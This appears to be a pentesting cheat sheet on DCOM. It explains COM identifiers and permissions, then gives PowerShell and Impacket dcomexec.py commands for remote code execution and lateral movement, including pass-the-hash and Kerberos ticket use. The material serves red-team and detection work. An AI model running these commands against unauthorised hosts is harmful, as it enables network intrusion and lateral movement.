Over DCOM

Component Object Model (COM) is a Microsoft standard for inter-process communication. COM specifies an object model and programming requirements that enable COM objects (also called COM components) to interact with one another. A COM object defines one, or more, sets of functions (methods), called interfaces, that are the only way to manipulate the data associated with the object. A COM server object provides services to COM clients through its implemented methods, called by the clients after retrieving a pointer to the COM server object interface.

The proprietary Microsoft Distributed Component Object Model (DCOM) technology allows for networked communication of COM objects over the Microsoft Remote Procedure Call (MSRPC) protocol, with a first connection initiated on the remote system port TCP 135.

The COM / DCOM object register a few notable identifiers:

• The Class Identifier (CLSID), a GUID acting as a unique identifier for every COM class registered in Windows. The CLSID key in the registry points to the implementation of the class.

• The optional Programmatic Identifier (ProgID), that can supplement a COM class CLSID with a more human-readable name. Not every COM class is associated with a ProgID.

• The Application Identifier (AppID), which groups the configuration for one, or more, DCOM objects hosted by the same executable into one centralized location in the registry (HKEY_LOCAL_MACHINE\SOFTWARE\Classes\ AppID\{<APPID>}).

The configuration defined in AppID notably specify, the form of Access Control List (ACL), the following permissions:

• Launch Permissions, that restrict the security principals that can locally or remotely start the DCOM object server

• Access Permissions, that restrict the security principals that can locally or remotely access the DCOM object methods

• Configuration Permissions, that restrict the security principals that can modify the configuration of the DCOM objects.

System-wide limits are defined and control the minimal level of restrictions DCOM applications can set. By default, Everyone and non authenticated users (ANONYMOUS LOGON) may be granted local or remote access to DCOM object methods while only members of the local Administrators, Distributed COM Users, and Performance Log Users may be granted remote launch and activation rights.

If the Access Permissions is left unspecified in the AppID configuration, the system-wide Access Permissions and Launch Permissions are applied. By default, the Remote Access right is only granted to the Windows local built-in Administrators group. The AppID registered on a system can be browsed and edited using the dcomcnfg.exe Windows built-in utility or, the dedicated OleViewDotNet .NET utility.

A client request the instantiation of a remote DCOM object class by specifying its CLSID or ProgID, the later being resolved to the associated CLSID. The DCOMLaunch service (C:\Windows\system32\svchost.exe -k DcomLaunch, for DCOM objects from an exe binary) or DLLHOST.exe (for DCOM objects from a DLL) then instantiate the requested DCOM object class, on condition that the client has the necessary access permissions (as defined in the APPID configuration). The error code 80070005 (for E_ACCESSDENIED) will be returned otherwise.

CLSID enumeration

PowerShell can be used to list the CLSID and ProdID properties of the DCOM objects registered on the local computer HKEY_CLASSES_ROOT registry hive. The HKEY_CLASSES_ROOT registry hive cannot be directly accessed on a remote computer using Get-ChildItem. In order to remotely access the HKEY_CLASSES_ROOT registry hive, the following PowerShell commands can be run over WinRM using the Invoke-Command PowerShell cmdlet.

# Lists
Get-ChildItem REGISTRY::HKEY_CLASSES_ROOT\CLSID | ForEach-Object {

  $DCOMClass = New-Object PSObject -Property @{
    CLSID = $_.Name.Split("{")[1].Split("}")[0]
  }

  If ($_.GetSubKeyNames() -match "ProgID") {
    $DCOMClass | Add-Member -Type NoteProperty -Name "ProgID" -Value $_.OpenSubKey("ProgID").GetValue("")
  }

  Else {
    $DCOMClass | Add-Member -Type NoteProperty -Name "ProgID" -Value $null
  }

  return $DCOMClass
}

# Filters by ProgID
Get-ChildItem REGISTRY::HKEY_CLASSES_ROOT\CLSID -Recurse -Include 'ProgID' | ForEach-Object { If ($_.GetValue("") -match "<PROGID>") { return $_.Name,$_.GetValue("") }}

# Filter by CLSID
Get-ChildItem REGISTRY::HKEY_CLASSES_ROOT\CLSID -Recurse | ForEach-Object { If ($_.Name -match "<CLSID>") { return $_.Name,$_.GetValue("") }}

Code execution over DCOM

Multiple DCOM objects classes can be leveraged to execute commands on the remote system. The idea of using DCOM objects for lateral movements having come to light recently, in January 2017 after a publication by enigma0x3, the below list, mostly gathered from https://www.cybereason.com/blog/dcom-lateral-movement-techniques, is possibly far from being exhaustive.

PowerShell and Impacket's dcomexec.py Python script can be used to execute commands through DCOM objects:

# PowerShell
# MMC20.Application
# Blocked by the default Windows firewall rules
# Starts a child process under Microsoft Management Console (mmc.exe)
$dcom = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","<IP>"))
$dcom.Document.ActiveView.ExecuteShellCommand("<C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | BINARY>", $null, <$null | "COMMAND_ARGS">, "7")

# ShellWindows
# Blocked by the default Windows firewall rules
# Requires a File Explorer or Internet Explorer process on the remote system
$dcom = [activator]::CreateInstance([type]::GetTypeFromCLSID("9BA05972-F6A8-11CF-A442-00A0C90A8F39", "<IP¨>"))
$dcom[0].Document.Application.ShellExecute("<BINARY>")
$dcom[0].Document.Application.ShellExecute("<BINARY>", "<COMMAND_ARGS>", "<EXEC_DIRECTORY>", $null, 0)

# ShellBrowserWindow
# Blocked by the default Windows firewall rules
# DOES NOT require a File Explorer or Internet Explorer process on the remote system
# Only available on
$dcom = [activator]::CreateInstance([type]::GetTypeFromCLSID("c08afd90-f2a1-11d1-8455-00a0c91f3880", "<IP¨>"))
$dcom.Document.Application.ShellExecute("<BINARY>")
$dcom.Document.Application.ShellExecute("<BINARY>", "<COMMAND_ARGS>", "<EXEC_DIRECTORY>", $null, 0)

# Outlook through Shell.Application
# Blocked by the default Windows firewall rules?
# Requires Outlook to be installed on the remote system
$dcom = [activator]::CreateInstance([type]::GetTypeFromProgID("Outlook.Application", "<IP¨>"))
$dcom_shell = $dcom.CreateObject("Shell.Application")
$dcom_shell.ShellExecute("<BINARY>")
$dcom_shell.ShellExecute("<BINARY>", "<COMMAND_ARGS>", "<EXEC_DIRECTORY>", $null, 0)

# Excel.Application DDE
# Blocked by the default Windows firewall rules?
# Requires Excel to be installed on the remote system
# The name of the specified binary is limited to 8 characters maximum, so a binary present in the %PATH%, such as powershell.exe or cmd.exe, must be used
$dcom = [activator]::CreateInstance([type]::GetTypeFromProgID("Excel.Application","<IP>"))
$dcom.DisplayAlert = $False
$dcom.DDEInitiate("<BINARY>","<COMMAND_ARGS>")

# Python
# dcomexec.py executes by default a semi-interactive shell using the ShellBrowserWindow DCOM oject.
# NTLM authentication
dcomexec.py -debug [-object <MMC20 | ShellWindows | ShellBrowserWindow>] [-target-ip <TARGET_IP>] [<DOMAIN>/]<USERNAME>[:<PASSWORD>]@<HOSTNAME | IP> <TASK_COMMAND>
dcomexec.py -debug [-object <MMC20 | ShellWindows | ShellBrowserWindow>] -hashes <LM_HASH:NT_HASH> [-target-ip <TARGET_IP>] [[<DOMAIN>/]<USERNAME>@<HOSTNAME | IP> <TASK_COMMAND>

# Kerberos authentication
export KRB5CCNAME=<TICKET_CCACHE_FILE_PATH>
dcomexec.py -debug [-object <MMC20 | ShellWindows | ShellBrowserWindow>] -k -no-pass -dc-ip <DC_IP> <HOSTNAME> "<COMMAND | TASK_COMMAND>"

# More Microsoft Office DCOM objects can be leveraged for lateral movements, as described in the provided source above